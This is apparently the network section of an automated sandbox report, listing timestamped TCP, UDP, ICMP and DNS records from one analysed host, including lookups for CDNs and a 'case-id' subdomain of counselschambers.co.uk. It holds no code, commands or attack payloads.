Mar 14, 2025 10:08:47.999705076 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.045063019 CET	49761	443	192.168.2.4	172.67.168.191
Mar 14, 2025 10:08:48.156124115 CET	49761	443	192.168.2.4	172.67.168.191
Mar 14, 2025 10:08:48.156152964 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.157949924 CET	49761	443	192.168.2.4	172.67.168.191
Mar 14, 2025 10:08:48.157955885 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.160335064 CET	49762	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:48.160371065 CET	443	49762	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:48.160504103 CET	49762	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:48.161505938 CET	49762	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:48.161523104 CET	443	49762	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:48.164719105 CET	49763	443	192.168.2.4	172.67.69.226
Mar 14, 2025 10:08:48.164750099 CET	443	49763	172.67.69.226	192.168.2.4
Mar 14, 2025 10:08:48.164844036 CET	49763	443	192.168.2.4	172.67.69.226
Mar 14, 2025 10:08:48.165011883 CET	49763	443	192.168.2.4	172.67.69.226
Mar 14, 2025 10:08:48.165021896 CET	443	49763	172.67.69.226	192.168.2.4
Mar 14, 2025 10:08:48.373588085 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.373641014 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.373675108 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.373688936 CET	49761	443	192.168.2.4	172.67.168.191
Mar 14, 2025 10:08:48.373717070 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.373756886 CET	49761	443	192.168.2.4	172.67.168.191
Mar 14, 2025 10:08:48.373760939 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.373770952 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.373802900 CET	49761	443	192.168.2.4	172.67.168.191
Mar 14, 2025 10:08:48.373810053 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.373863935 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.373898029 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.373918056 CET	49761	443	192.168.2.4	172.67.168.191
Mar 14, 2025 10:08:48.373924017 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.373961926 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.373991966 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.374002934 CET	49761	443	192.168.2.4	172.67.168.191
Mar 14, 2025 10:08:48.374007940 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.374031067 CET	49761	443	192.168.2.4	172.67.168.191
Mar 14, 2025 10:08:48.378360987 CET	49764	443	192.168.2.4	34.117.59.81
Mar 14, 2025 10:08:48.378407001 CET	443	49764	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:48.378465891 CET	49764	443	192.168.2.4	34.117.59.81
Mar 14, 2025 10:08:48.378927946 CET	49764	443	192.168.2.4	34.117.59.81
Mar 14, 2025 10:08:48.378943920 CET	443	49764	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:48.380832911 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.380867004 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.380886078 CET	49761	443	192.168.2.4	172.67.168.191
Mar 14, 2025 10:08:48.380897999 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.380924940 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.380954981 CET	49761	443	192.168.2.4	172.67.168.191
Mar 14, 2025 10:08:48.381000996 CET	49761	443	192.168.2.4	172.67.168.191
Mar 14, 2025 10:08:48.436685085 CET	49761	443	192.168.2.4	172.67.168.191
Mar 14, 2025 10:08:48.436733961 CET	443	49761	172.67.168.191	192.168.2.4
Mar 14, 2025 10:08:48.825004101 CET	443	49762	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:48.829437971 CET	49762	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:48.829462051 CET	443	49762	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:48.829688072 CET	49762	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:48.829696894 CET	443	49762	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:48.832566977 CET	443	49763	172.67.69.226	192.168.2.4
Mar 14, 2025 10:08:48.832916021 CET	49763	443	192.168.2.4	172.67.69.226
Mar 14, 2025 10:08:48.832937956 CET	443	49763	172.67.69.226	192.168.2.4
Mar 14, 2025 10:08:48.833105087 CET	49763	443	192.168.2.4	172.67.69.226
Mar 14, 2025 10:08:48.833110094 CET	443	49763	172.67.69.226	192.168.2.4
Mar 14, 2025 10:08:48.837939978 CET	443	49764	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:48.838007927 CET	49764	443	192.168.2.4	34.117.59.81
Mar 14, 2025 10:08:48.840506077 CET	49764	443	192.168.2.4	34.117.59.81
Mar 14, 2025 10:08:48.840517044 CET	443	49764	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:48.840795994 CET	443	49764	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:48.841125965 CET	49764	443	192.168.2.4	34.117.59.81
Mar 14, 2025 10:08:48.884329081 CET	443	49764	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:48.966137886 CET	443	49764	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:48.966209888 CET	443	49764	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:48.966372967 CET	49764	443	192.168.2.4	34.117.59.81
Mar 14, 2025 10:08:48.969683886 CET	49764	443	192.168.2.4	34.117.59.81
Mar 14, 2025 10:08:48.969706059 CET	443	49764	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:48.974179983 CET	443	49762	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:48.974242926 CET	443	49762	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:48.974339008 CET	443	49762	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:48.974395037 CET	49762	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:48.980456114 CET	49762	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:48.980477095 CET	443	49762	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:49.012347937 CET	49766	443	192.168.2.4	34.117.59.81
Mar 14, 2025 10:08:49.012377977 CET	443	49766	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:49.012433052 CET	49766	443	192.168.2.4	34.117.59.81
Mar 14, 2025 10:08:49.012722969 CET	49766	443	192.168.2.4	34.117.59.81
Mar 14, 2025 10:08:49.012737036 CET	443	49766	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:49.015350103 CET	49767	443	192.168.2.4	104.17.25.14
Mar 14, 2025 10:08:49.015391111 CET	443	49767	104.17.25.14	192.168.2.4
Mar 14, 2025 10:08:49.015451908 CET	49767	443	192.168.2.4	104.17.25.14
Mar 14, 2025 10:08:49.015759945 CET	49767	443	192.168.2.4	104.17.25.14
Mar 14, 2025 10:08:49.015769958 CET	443	49767	104.17.25.14	192.168.2.4
Mar 14, 2025 10:08:49.058671951 CET	443	49763	172.67.69.226	192.168.2.4
Mar 14, 2025 10:08:49.058748007 CET	443	49763	172.67.69.226	192.168.2.4
Mar 14, 2025 10:08:49.059627056 CET	49763	443	192.168.2.4	172.67.69.226
Mar 14, 2025 10:08:49.071604967 CET	49763	443	192.168.2.4	172.67.69.226
Mar 14, 2025 10:08:49.071621895 CET	443	49763	172.67.69.226	192.168.2.4
Mar 14, 2025 10:08:49.078444958 CET	49768	443	192.168.2.4	104.26.9.44
Mar 14, 2025 10:08:49.078480005 CET	443	49768	104.26.9.44	192.168.2.4
Mar 14, 2025 10:08:49.078547001 CET	49768	443	192.168.2.4	104.26.9.44
Mar 14, 2025 10:08:49.078675985 CET	49768	443	192.168.2.4	104.26.9.44
Mar 14, 2025 10:08:49.078694105 CET	443	49768	104.26.9.44	192.168.2.4
Mar 14, 2025 10:08:49.472862005 CET	443	49766	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:49.472948074 CET	49766	443	192.168.2.4	34.117.59.81
Mar 14, 2025 10:08:49.473531008 CET	49766	443	192.168.2.4	34.117.59.81
Mar 14, 2025 10:08:49.473541021 CET	443	49766	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:49.473781109 CET	443	49766	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:49.474102974 CET	49766	443	192.168.2.4	34.117.59.81
Mar 14, 2025 10:08:49.498044014 CET	443	49767	104.17.25.14	192.168.2.4
Mar 14, 2025 10:08:49.498119116 CET	49767	443	192.168.2.4	104.17.25.14
Mar 14, 2025 10:08:49.498647928 CET	49767	443	192.168.2.4	104.17.25.14
Mar 14, 2025 10:08:49.498656988 CET	443	49767	104.17.25.14	192.168.2.4
Mar 14, 2025 10:08:49.498894930 CET	443	49767	104.17.25.14	192.168.2.4
Mar 14, 2025 10:08:49.499514103 CET	49767	443	192.168.2.4	104.17.25.14
Mar 14, 2025 10:08:49.520329952 CET	443	49766	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:49.540076971 CET	443	49768	104.26.9.44	192.168.2.4
Mar 14, 2025 10:08:49.540299892 CET	49768	443	192.168.2.4	104.26.9.44
Mar 14, 2025 10:08:49.540323973 CET	443	49767	104.17.25.14	192.168.2.4
Mar 14, 2025 10:08:49.540339947 CET	443	49768	104.26.9.44	192.168.2.4
Mar 14, 2025 10:08:49.540431976 CET	49768	443	192.168.2.4	104.26.9.44
Mar 14, 2025 10:08:49.540438890 CET	443	49768	104.26.9.44	192.168.2.4
Mar 14, 2025 10:08:50.250904083 CET	49681	80	192.168.2.4	2.17.190.73
Mar 14, 2025 10:08:50.590375900 CET	443	49766	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:50.590450048 CET	443	49766	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:50.590497017 CET	443	49767	104.17.25.14	192.168.2.4
Mar 14, 2025 10:08:50.590533972 CET	443	49767	104.17.25.14	192.168.2.4
Mar 14, 2025 10:08:50.590622902 CET	443	49767	104.17.25.14	192.168.2.4
Mar 14, 2025 10:08:50.590943098 CET	443	49768	104.26.9.44	192.168.2.4
Mar 14, 2025 10:08:50.591015100 CET	443	49768	104.26.9.44	192.168.2.4
Mar 14, 2025 10:08:50.591058969 CET	49766	443	192.168.2.4	34.117.59.81
Mar 14, 2025 10:08:50.595590115 CET	49767	443	192.168.2.4	104.17.25.14
Mar 14, 2025 10:08:50.596318960 CET	443	49768	104.26.9.44	192.168.2.4
Mar 14, 2025 10:08:50.607611895 CET	49768	443	192.168.2.4	104.26.9.44
Mar 14, 2025 10:08:50.607705116 CET	49768	443	192.168.2.4	104.26.9.44
Mar 14, 2025 10:08:50.637104034 CET	49768	443	192.168.2.4	104.26.9.44
Mar 14, 2025 10:08:50.637129068 CET	443	49768	104.26.9.44	192.168.2.4
Mar 14, 2025 10:08:50.639410973 CET	49767	443	192.168.2.4	104.17.25.14
Mar 14, 2025 10:08:50.639430046 CET	443	49767	104.17.25.14	192.168.2.4
Mar 14, 2025 10:08:50.643212080 CET	49766	443	192.168.2.4	34.117.59.81
Mar 14, 2025 10:08:50.643229961 CET	443	49766	34.117.59.81	192.168.2.4
Mar 14, 2025 10:08:51.143637896 CET	49769	443	192.168.2.4	104.21.64.1
Mar 14, 2025 10:08:51.143676996 CET	443	49769	104.21.64.1	192.168.2.4
Mar 14, 2025 10:08:51.143795967 CET	49769	443	192.168.2.4	104.21.64.1
Mar 14, 2025 10:08:51.143935919 CET	49769	443	192.168.2.4	104.21.64.1
Mar 14, 2025 10:08:51.143948078 CET	443	49769	104.21.64.1	192.168.2.4
Mar 14, 2025 10:08:51.619469881 CET	443	49769	104.21.64.1	192.168.2.4
Mar 14, 2025 10:08:51.619775057 CET	49769	443	192.168.2.4	104.21.64.1
Mar 14, 2025 10:08:51.619806051 CET	443	49769	104.21.64.1	192.168.2.4
Mar 14, 2025 10:08:51.620066881 CET	49769	443	192.168.2.4	104.21.64.1
Mar 14, 2025 10:08:51.620073080 CET	443	49769	104.21.64.1	192.168.2.4
Mar 14, 2025 10:08:52.045543909 CET	443	49769	104.21.64.1	192.168.2.4
Mar 14, 2025 10:08:52.045615911 CET	443	49769	104.21.64.1	192.168.2.4
Mar 14, 2025 10:08:52.046266079 CET	49769	443	192.168.2.4	104.21.64.1
Mar 14, 2025 10:08:52.046289921 CET	443	49769	104.21.64.1	192.168.2.4
Mar 14, 2025 10:08:52.047287941 CET	49770	443	192.168.2.4	104.21.64.1
Mar 14, 2025 10:08:52.047328949 CET	443	49770	104.21.64.1	192.168.2.4
Mar 14, 2025 10:08:52.047554970 CET	49769	443	192.168.2.4	104.21.64.1
Mar 14, 2025 10:08:52.047580004 CET	49769	443	192.168.2.4	104.21.64.1
Mar 14, 2025 10:08:52.047609091 CET	49770	443	192.168.2.4	104.21.64.1
Mar 14, 2025 10:08:52.047904015 CET	49770	443	192.168.2.4	104.21.64.1
Mar 14, 2025 10:08:52.047924042 CET	443	49770	104.21.64.1	192.168.2.4
Mar 14, 2025 10:08:52.654057026 CET	443	49770	104.21.64.1	192.168.2.4
Mar 14, 2025 10:08:52.654388905 CET	49770	443	192.168.2.4	104.21.64.1
Mar 14, 2025 10:08:52.654407024 CET	443	49770	104.21.64.1	192.168.2.4
Mar 14, 2025 10:08:52.654551983 CET	49770	443	192.168.2.4	104.21.64.1
Mar 14, 2025 10:08:52.654558897 CET	443	49770	104.21.64.1	192.168.2.4
Mar 14, 2025 10:08:53.079036951 CET	443	49770	104.21.64.1	192.168.2.4
Mar 14, 2025 10:08:53.079164028 CET	443	49770	104.21.64.1	192.168.2.4
Mar 14, 2025 10:08:53.079631090 CET	49770	443	192.168.2.4	104.21.64.1
Mar 14, 2025 10:08:53.084352970 CET	49770	443	192.168.2.4	104.21.64.1
Mar 14, 2025 10:08:53.084373951 CET	443	49770	104.21.64.1	192.168.2.4
Mar 14, 2025 10:08:53.128155947 CET	49771	443	192.168.2.4	104.21.16.1
Mar 14, 2025 10:08:53.128196001 CET	443	49771	104.21.16.1	192.168.2.4
Mar 14, 2025 10:08:53.128289938 CET	49771	443	192.168.2.4	104.21.16.1
Mar 14, 2025 10:08:53.135334969 CET	49771	443	192.168.2.4	104.21.16.1
Mar 14, 2025 10:08:53.135349989 CET	443	49771	104.21.16.1	192.168.2.4
Mar 14, 2025 10:08:53.608787060 CET	443	49771	104.21.16.1	192.168.2.4
Mar 14, 2025 10:08:53.620589018 CET	49771	443	192.168.2.4	104.21.16.1
Mar 14, 2025 10:08:53.620621920 CET	443	49771	104.21.16.1	192.168.2.4
Mar 14, 2025 10:08:53.620742083 CET	49771	443	192.168.2.4	104.21.16.1
Mar 14, 2025 10:08:53.620747089 CET	443	49771	104.21.16.1	192.168.2.4
Mar 14, 2025 10:08:54.027564049 CET	443	49771	104.21.16.1	192.168.2.4
Mar 14, 2025 10:08:54.027662039 CET	443	49771	104.21.16.1	192.168.2.4
Mar 14, 2025 10:08:54.027735949 CET	49771	443	192.168.2.4	104.21.16.1
Mar 14, 2025 10:08:54.028670073 CET	49771	443	192.168.2.4	104.21.16.1
Mar 14, 2025 10:08:54.028685093 CET	443	49771	104.21.16.1	192.168.2.4
Mar 14, 2025 10:09:25.178771019 CET	49776	443	192.168.2.4	142.250.185.132
Mar 14, 2025 10:09:25.178826094 CET	443	49776	142.250.185.132	192.168.2.4
Mar 14, 2025 10:09:25.178913116 CET	49776	443	192.168.2.4	142.250.185.132
Mar 14, 2025 10:09:25.179080963 CET	49776	443	192.168.2.4	142.250.185.132
Mar 14, 2025 10:09:25.179096937 CET	443	49776	142.250.185.132	192.168.2.4
Mar 14, 2025 10:09:25.807609081 CET	443	49776	142.250.185.132	192.168.2.4
Mar 14, 2025 10:09:25.808068991 CET	49776	443	192.168.2.4	142.250.185.132
Mar 14, 2025 10:09:25.808106899 CET	443	49776	142.250.185.132	192.168.2.4
Mar 14, 2025 10:09:34.023423910 CET	49739	80	192.168.2.4	142.250.185.67
Mar 14, 2025 10:09:34.028374910 CET	80	49739	142.250.185.67	192.168.2.4
Mar 14, 2025 10:09:34.028439045 CET	49739	80	192.168.2.4	142.250.185.67
Mar 14, 2025 10:09:35.713087082 CET	443	49776	142.250.185.132	192.168.2.4
Mar 14, 2025 10:09:35.713145971 CET	443	49776	142.250.185.132	192.168.2.4
Mar 14, 2025 10:09:35.713213921 CET	49776	443	192.168.2.4	142.250.185.132
Mar 14, 2025 10:09:37.476567030 CET	49776	443	192.168.2.4	142.250.185.132
Mar 14, 2025 10:09:37.476619005 CET	443	49776	142.250.185.132	192.168.2.4
Mar 14, 2025 10:09:40.336864948 CET	49781	443	192.168.2.4	35.190.80.1
Mar 14, 2025 10:09:40.336920977 CET	443	49781	35.190.80.1	192.168.2.4
Mar 14, 2025 10:09:40.336991072 CET	49781	443	192.168.2.4	35.190.80.1
Mar 14, 2025 10:09:40.337362051 CET	49781	443	192.168.2.4	35.190.80.1
Mar 14, 2025 10:09:40.337378025 CET	443	49781	35.190.80.1	192.168.2.4
Mar 14, 2025 10:09:40.811949968 CET	443	49781	35.190.80.1	192.168.2.4
Mar 14, 2025 10:09:40.812444925 CET	49781	443	192.168.2.4	35.190.80.1
Mar 14, 2025 10:09:40.812477112 CET	443	49781	35.190.80.1	192.168.2.4
Mar 14, 2025 10:09:40.812633991 CET	49781	443	192.168.2.4	35.190.80.1
Mar 14, 2025 10:09:40.812638998 CET	443	49781	35.190.80.1	192.168.2.4
Mar 14, 2025 10:09:40.945559978 CET	443	49781	35.190.80.1	192.168.2.4
Mar 14, 2025 10:09:40.945633888 CET	443	49781	35.190.80.1	192.168.2.4
Mar 14, 2025 10:09:40.945700884 CET	49781	443	192.168.2.4	35.190.80.1
Mar 14, 2025 10:09:40.945950985 CET	49781	443	192.168.2.4	35.190.80.1
Mar 14, 2025 10:09:40.945972919 CET	443	49781	35.190.80.1	192.168.2.4
Mar 14, 2025 10:09:40.946645975 CET	49782	443	192.168.2.4	35.190.80.1
Mar 14, 2025 10:09:40.946685076 CET	443	49782	35.190.80.1	192.168.2.4
Mar 14, 2025 10:09:40.946788073 CET	49782	443	192.168.2.4	35.190.80.1
Mar 14, 2025 10:09:40.947050095 CET	49782	443	192.168.2.4	35.190.80.1
Mar 14, 2025 10:09:40.947067976 CET	443	49782	35.190.80.1	192.168.2.4
Mar 14, 2025 10:09:41.420346975 CET	443	49782	35.190.80.1	192.168.2.4
Mar 14, 2025 10:09:41.420792103 CET	49782	443	192.168.2.4	35.190.80.1
Mar 14, 2025 10:09:41.420809031 CET	443	49782	35.190.80.1	192.168.2.4
Mar 14, 2025 10:09:41.421196938 CET	49782	443	192.168.2.4	35.190.80.1
Mar 14, 2025 10:09:41.421202898 CET	443	49782	35.190.80.1	192.168.2.4
Mar 14, 2025 10:09:41.552500010 CET	443	49782	35.190.80.1	192.168.2.4
Mar 14, 2025 10:09:41.552872896 CET	443	49782	35.190.80.1	192.168.2.4
Mar 14, 2025 10:09:41.552951097 CET	49782	443	192.168.2.4	35.190.80.1
Mar 14, 2025 10:09:41.553014994 CET	49782	443	192.168.2.4	35.190.80.1
Mar 14, 2025 10:09:41.553035021 CET	443	49782	35.190.80.1	192.168.2.4
Mar 14, 2025 10:09:41.553059101 CET	49782	443	192.168.2.4	35.190.80.1
Mar 14, 2025 10:09:41.553095102 CET	49782	443	192.168.2.4	35.190.80.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 14, 2025 10:08:23.438669920 CET	53	61276	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:23.459346056 CET	53	60992	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:25.050843954 CET	53	65196	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:25.113574982 CET	50498	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:25.113733053 CET	60834	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:25.120011091 CET	53	50498	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:25.120893955 CET	53	60834	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:25.171457052 CET	53	50548	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:29.572860956 CET	51062	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:29.576221943 CET	60382	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:29.582930088 CET	53	51062	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:29.588267088 CET	53	60382	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:29.593121052 CET	56967	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:29.593283892 CET	53161	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:29.603110075 CET	53	56967	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:29.603677988 CET	53	53161	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:31.693536043 CET	51933	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:31.693717003 CET	57826	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:31.694783926 CET	65424	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:31.695000887 CET	59739	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:31.695671082 CET	52230	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:31.695889950 CET	61027	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:31.700352907 CET	53	51933	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:31.701438904 CET	53	59739	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:31.702275991 CET	53	52230	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:31.702670097 CET	53	61027	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:31.703186989 CET	53	65424	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:31.717318058 CET	53	57826	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:32.683470011 CET	59460	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:32.683676958 CET	64344	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:32.690438986 CET	53	64344	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:32.691142082 CET	53	59460	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:33.438564062 CET	62413	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:33.438702106 CET	58778	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:33.447956085 CET	53	62413	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:33.450264931 CET	53	58778	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:33.579248905 CET	49889	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:33.579612017 CET	57317	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:33.585975885 CET	53	49889	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:33.587302923 CET	53	57317	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:35.150819063 CET	50584	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:35.151051044 CET	59727	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:35.158030033 CET	53	50584	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:35.158449888 CET	53	59727	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:37.587517977 CET	54909	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:37.587703943 CET	49757	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:37.599883080 CET	53	54909	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:37.601732969 CET	53	49757	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:39.403249025 CET	56118	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:39.403422117 CET	58841	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:39.416259050 CET	53	56118	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:39.461314917 CET	53	58841	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:40.326126099 CET	56048	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:40.326309919 CET	51755	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:40.332823038 CET	53	51755	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:40.333581924 CET	53	56048	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:42.093724966 CET	53	53202	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:48.160912991 CET	58768	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:48.161082029 CET	53902	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:48.376096964 CET	53	53902	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:48.376111031 CET	53	61630	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:48.376236916 CET	53	58768	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:49.003549099 CET	65316	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:49.004024982 CET	55447	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:49.006536007 CET	53501	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:49.006753922 CET	52971	53	192.168.2.4	1.1.1.1
Mar 14, 2025 10:08:49.010494947 CET	53	65316	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:49.011990070 CET	53	55447	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:49.013597012 CET	53	53501	1.1.1.1	192.168.2.4
Mar 14, 2025 10:08:49.014944077 CET	53	52971	1.1.1.1	192.168.2.4
Mar 14, 2025 10:09:01.154580116 CET	53	62809	1.1.1.1	192.168.2.4
Mar 14, 2025 10:09:22.753330946 CET	53	49599	1.1.1.1	192.168.2.4
Mar 14, 2025 10:09:23.732331038 CET	53	61473	1.1.1.1	192.168.2.4
Mar 14, 2025 10:09:24.061197996 CET	53	59371	1.1.1.1	192.168.2.4
Mar 14, 2025 10:09:25.620817900 CET	138	138	192.168.2.4	192.168.2.255

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 14, 2025 10:08:31.717396975 CET	192.168.2.4	1.1.1.1	c245	(Port unreachable)	Destination Unreachable
Mar 14, 2025 10:08:39.461435080 CET	192.168.2.4	1.1.1.1	c2e1	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 14, 2025 10:08:25.113574982 CET	192.168.2.4	1.1.1.1	0x393a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:25.113733053 CET	192.168.2.4	1.1.1.1	0xb3af	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 14, 2025 10:08:29.572860956 CET	192.168.2.4	1.1.1.1	0x1916	Standard query (0)	case-id-1000228259003.counselschambers.co.uk	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:29.576221943 CET	192.168.2.4	1.1.1.1	0xdbba	Standard query (0)	case-id-1000228259003.counselschambers.co.uk	65	IN (0x0001)	false
Mar 14, 2025 10:08:29.593121052 CET	192.168.2.4	1.1.1.1	0xabd1	Standard query (0)	case-id-1000228259003.counselschambers.co.uk	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:29.593283892 CET	192.168.2.4	1.1.1.1	0x4ff4	Standard query (0)	case-id-1000228259003.counselschambers.co.uk	65	IN (0x0001)	false
Mar 14, 2025 10:08:31.693536043 CET	192.168.2.4	1.1.1.1	0x80fa	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:31.693717003 CET	192.168.2.4	1.1.1.1	0xba7	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Mar 14, 2025 10:08:31.694783926 CET	192.168.2.4	1.1.1.1	0x46d3	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:31.695000887 CET	192.168.2.4	1.1.1.1	0x31c8	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 14, 2025 10:08:31.695671082 CET	192.168.2.4	1.1.1.1	0xb95a	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:31.695889950 CET	192.168.2.4	1.1.1.1	0xaf49	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 14, 2025 10:08:32.683470011 CET	192.168.2.4	1.1.1.1	0xe3c5	Standard query (0)	static.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:32.683676958 CET	192.168.2.4	1.1.1.1	0x2b98	Standard query (0)	static.xx.fbcdn.net	65	IN (0x0001)	false
Mar 14, 2025 10:08:33.438564062 CET	192.168.2.4	1.1.1.1	0x3bef	Standard query (0)	case-id-1000228259003.counselschambers.co.uk	A (IP address)	IN (0x0001)	false
Mar 14, 2025 10:08:33.438702106 CET	192.168.2.4	1.1.1.1	0x584b	Standard query (0)	case-id-1000228259003.counselschambers.co.uk	65	IN (0x0001)	false
